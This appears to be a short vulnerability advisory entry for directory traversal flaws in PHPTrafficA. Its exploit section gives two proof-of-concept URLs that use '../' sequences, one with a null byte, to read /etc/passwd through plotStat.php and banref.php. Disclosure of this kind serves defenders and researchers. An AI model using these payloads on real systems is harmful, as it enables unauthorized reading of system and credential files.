• info
• discussion
• exploit
• solution
• references

PHPTrafficA Multiple Directory Traversal Vulnerabilities

Attackers can exploit these issues via a web client.

The following URIs are available:

http://www.example.com/phpTrafficA/plotStat.php?file=/../../../../../../../../../etc/passwd
http://www.example.com/phpTrafficA/banref.php?lang=/../../../../../../../../../etc/passwd%00